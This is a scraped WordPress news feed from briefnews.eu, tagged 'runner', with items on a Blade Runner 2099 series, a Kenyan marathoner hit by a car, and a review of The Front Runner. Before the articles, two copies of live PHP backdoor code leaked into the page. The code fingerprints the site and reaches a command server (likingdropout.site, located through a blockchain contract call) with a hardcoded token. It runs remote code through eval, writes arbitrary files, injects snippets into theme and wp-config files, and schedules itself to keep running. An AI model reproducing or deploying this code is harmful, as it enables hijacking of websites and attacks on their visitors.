// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); runner – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 15 Sep 2022 20:40:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png runner – Brief News https://briefnews.eu 32 32 Amazon greenlights ‘Blade Runner 2099’ sequel series https://briefnews.eu/amazon-greenlights-blade-runner-2099-sequel-series/ https://briefnews.eu/amazon-greenlights-blade-runner-2099-sequel-series/#respond Thu, 15 Sep 2022 20:40:26 +0000 https://briefnews.eu/amazon-greenlights-blade-runner-2099-sequel-series/ The long-teased Blade Runner sequel series is real. Variety has confirmed Amazon has ordered production of Blade Runner 2099 for Prime Video. Original movie director Ridley Scott will serve as an executive producer alongside Silka Luisa (Halo and Shining Girls), who will also be the showrunner. The premise of 2099 isn't yet clear beyond its setting 50 years after Blade Runner 2049, but Amazon's global TV head Vernon Sanders claimed the follow-up would preserve the "intellect, themes, and spirit" of the movies.

The cast hasn't been set at this stage, although it's doubtful you'll see familiar names given events in past movies and the timeline of the show. Amazon also hasn't said when it expects to release the series.

The project could still be one of Amazon's more ambitious shows to date. The company has been ramping up the production values of Prime Video productions in recent years, and that appears to have paid off — the first season of The Lord of the Rings: The Rings of Power reportedly cost $ 465 million to make, and set a Prime viewing record upon its debut. It wouldn't be surprising if Amazon committed to a major investment (if not necessarily as large) for a recognizable franchise like Blade Runner, particularly with Scott involved.

]]> https://briefnews.eu/amazon-greenlights-blade-runner-2099-sequel-series/feed/ 0 A Futuristic Vision of Tokyo Inspired by ‘Blade Runner’ https://briefnews.eu/a-futuristic-vision-of-tokyo-inspired-by-blade-runner/ https://briefnews.eu/a-futuristic-vision-of-tokyo-inspired-by-blade-runner/#respond Fri, 26 Oct 2018 16:58:29 +0000 http://briefnews.eu/a-futuristic-vision-of-tokyo-inspired-by-blade-runner/ Photographer Tom Blachford listened to the soundtrack while shooting his series *Nihon Noir*.


https://media.wired.com/photos/5bcfb1695b66a763e54f0acd/master/pass/1A-Zig%20Zag_.jpg

]]> https://briefnews.eu/a-futuristic-vision-of-tokyo-inspired-by-blade-runner/feed/ 0 Kenyan runner Joseph Kiprono hit by car while leading half marathon in Colombia https://briefnews.eu/kenyan-runner-joseph-kiprono-hit-by-car-while-leading-half-marathon-in-colombia/ https://briefnews.eu/kenyan-runner-joseph-kiprono-hit-by-car-while-leading-half-marathon-in-colombia/#respond Mon, 17 Sep 2018 13:20:10 +0000 http://briefnews.eu/kenyan-runner-joseph-kiprono-hit-by-car-while-leading-half-marathon-in-colombia/

Kenyan long-distance runner Joseph Kiprono Kiptum was hospitalized after being struck by a car while leading the half-marathon in Medellin, Colombia, on Sunday.

Kiprono, 30, was moving in on the finish line when he was struck by a car that had ignored closed street signs, according to reports.

READ MORE: WADA committee recommends reinstating Russian anti-doping agency

According to race organizers, the runner suffered cuts and bruises, although he has now been discharged from hospital. 

“Joseph Kiprono was brought in by the emergency staff of the Medellin Marathon,” organizers said, according to the BBC.

“The patient is stable, has multiple contusions and abrasions in soft tissues, has no fractures of any kind, and orthopaedic doctors reviewed him, he is in good health and is out of danger.”

The race was won by Kenya’s Daniel Muindi Muteti in a time of 1:03:45, although it was further marred by the death of amateur runner Juan Camilo Arboleda, 38, who collapsed with heart problems at the finish.    

Arboleda was pronounced dead after being taken to hospital. In a tweet, the organizers expressed their condolences to the runner’s friends and family. 

Elsewhere on Sunday, Kenya’s Eliud Kipchoge smashed the men’s marathon world record in Berlin, finishing in two hours, one minute and 39 seconds – shaving more than a minute off the previous record.      

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]]> https://briefnews.eu/kenyan-runner-joseph-kiprono-hit-by-car-while-leading-half-marathon-in-colombia/feed/ 0 ‘The Front Runner’ Has a Great Cast and a Snappy Script, But Something’s Missing [TIFF] https://briefnews.eu/the-front-runner-has-a-great-cast-and-a-snappy-script-but-somethings-missing-tiff/ https://briefnews.eu/the-front-runner-has-a-great-cast-and-a-snappy-script-but-somethings-missing-tiff/#respond Sun, 09 Sep 2018 20:39:53 +0000 http://briefnews.eu/the-front-runner-has-a-great-cast-and-a-snappy-script-but-somethings-missing-tiff/ the front runner review

Jason Reitman‘s The Front Runner turns a lens towards the three-week presidential campaign of Gary Hart and finds that it signaled the beginning of a whole new era of tabloid-based political coverage.

“It’s none of their business,” is a line that gets repeated a lot in The Front Runner, Jason Reitman’s new political drama based on the true story of Gary Hart’s failed bid for the presidency in 1988. The line is said by Hart himself, as played by Hugh Jackman. Again and again, Hart seems utterly perplexed as to why the American people would want to know literally anything personal about a man running for the highest office in the land.

It’s an enigmatic position from an enigmatic man. Despite being the focus of this feature film, Gary Hart remains a mystery. By the time The Front Runner comes to a close, we’re no closer to understanding who he was than when the movie started. And that’s probably exactly how Gary Hart would want it.

In 1987, Hart was the front runner (hey, that’s the title!) for the Democratic presidential nomination. His polling numbers were through the roof, and he launched his campaign with many assuming he was going to be the next President of the United States.

Three weeks later, it was all over.

Hart’s infidelities, which had been rumored about for years, finally caught up to him when The Miami Herald got an anonymous tip about one of Hart’s affairs – a tip that lead Herald reports to stake-out Hart’s townhouse and dig up some dirt. The infidelities of politicians are nothing new, and the journalists running through the background of The Front Runner acknowledge this. They also acknowledge that things change. The press, and the American people, were perhaps once willing to overlook such digressions. Not anymore.

Reitman’s film could be construed as being anti-press at times – the Herald journalists are portrayed as sleazy buffoons, stalking around in the shadows. One of them even seems to be going after Hart out of a grudge against being denied more access to the candidate. But to assume that is what Reitman is going for here is to only scratch the surface. Were some of the journalists’ methods in digging up Hart’s indiscretions unethical? Maybe. But that doesn’t excuse what Hart did. Or why he did it. The candidate all but tempts fate when he angrily tells a reporter to “follow him around” to prove that he’s not having affairs.

the front runner tiff

It’s very hard to get a read on Hart. At times, he seems almost delusional. When the story breaks, and everything comes crashing down, he keeps trying to go about business as usual, sure that this will all blow over. What’s going on in his head? What makes him tick? I don’t think The Front Runner has an answer, but Jackman does his absolute best to make the character electric. He’s charming and likable when he wants to be, but the minute even the most minor personal question comes up, he snaps – turns mean, hostile even. Jackman nails these polarizing moods.

Everyone around Jackman is pretty damn great as well. Vera Farmiga, always a welcomed presence, makes the most of her part as Hart’s wife. Her reactions to her husband’s infidelities are far more complex than you might expect, and Farmiga knows just how to sell that. Other standouts: J.K. Simmons as Hart’s weary campaign manager, Molly Ephraim as a conflicted staffer, and Mamoudou Athie as a Washington Post reporter just as perplexed at all this as Hart. Athie is particularly good, making a somewhat small part a scene stealer with minimal dialogue – he lets his eyes do most of the talking. Simmons is playing the type of part he can play in his sleep at this point, but that doesn’t make it any less fun to watch. And Ephraim brings a certain dignity to the proceedings, struggling with the fallout and the way the Hart campaign is handling (or rather, not handling) it all. 

The script, by Reitman, Matt Bai and Jay Carson is snappy and funny, full of acerbic wit and punchlines that land. Reitman’s direction finds the filmmaker going off in another direction from his previous work. The TIFF page for The Front Runner says Reitman is “channelling Robert Altman”, and that’s not inaccurate. Reitman adopts Altman’s fondness for telling a story from several points of view, as well as Altman’s trademark overlapping dialogue. There’s even an opening scene done in one take that invokes Altman’s one-take opening of The Player. But The Front Runner is also far too slick to be fully compared to Altman’s work. It’s very much a Hollywood-type movie, even if Reitman made it independently.

The crackerjack script and dynamite performances are almost enough to get The Front Runner across the finish line, but there’s something missing. Like Gary Hart’s presidential campaign, it fizzles out just when it’s just getting started, and the audience is left wondering just what happened. Political journalism would only get more tabloidy following the Hart affair, but so did politics and politicians themselves, and I’m not quite sure if this film is reckoning with that. If The Front Runner is trying to issue a warning of things to come, I have some breaking news: it’s already too late.

/Film rating: 6 out of 10

The post ‘The Front Runner’ Has a Great Cast and a Snappy Script, But Something’s Missing [TIFF] appeared first on /Film.

]]> https://briefnews.eu/the-front-runner-has-a-great-cast-and-a-snappy-script-but-somethings-missing-tiff/feed/ 0 Daily Podcast: Tarantino’s Star Trek, Rian Johnson’s Next Film, Die Hard 6, Suspiria, Front Runner, Cronenberg, https://briefnews.eu/daily-podcast-tarantinos-star-trek-rian-johnsons-next-film-die-hard-6-suspiria-front-runner-cronenberg/ https://briefnews.eu/daily-podcast-tarantinos-star-trek-rian-johnsons-next-film-die-hard-6-suspiria-front-runner-cronenberg/#respond Wed, 05 Sep 2018 06:22:28 +0000 http://briefnews.eu/daily-podcast-tarantinos-star-trek-rian-johnsons-next-film-die-hard-6-suspiria-front-runner-cronenberg/

On the September 4, 2018 episode of /Film Daily, /Film editor-in-chief Peter Sciretta is joined by senior writer Ben Pearson and writer Chris Evangelista to talk about the latest film and TV news, including Cronenberg, Summer Movie Awards, Quentin Tarantino’s Star Trek, older movies, Rian Johnson’s next film. Die Hard 6, The Front Runner and Suspiria.

You can subscribe to /Film Daily on iTunes, Google Play, Overcast, Spotify and all the popular podcast apps (here is the RSS URL if you need it).

Opening Banter: Watercooler episode is again moved to Wednesday as Jacob is out sick and Brad is off.

In The News:

 

Other articles mentioned:

 

All the other stuff you need to know:

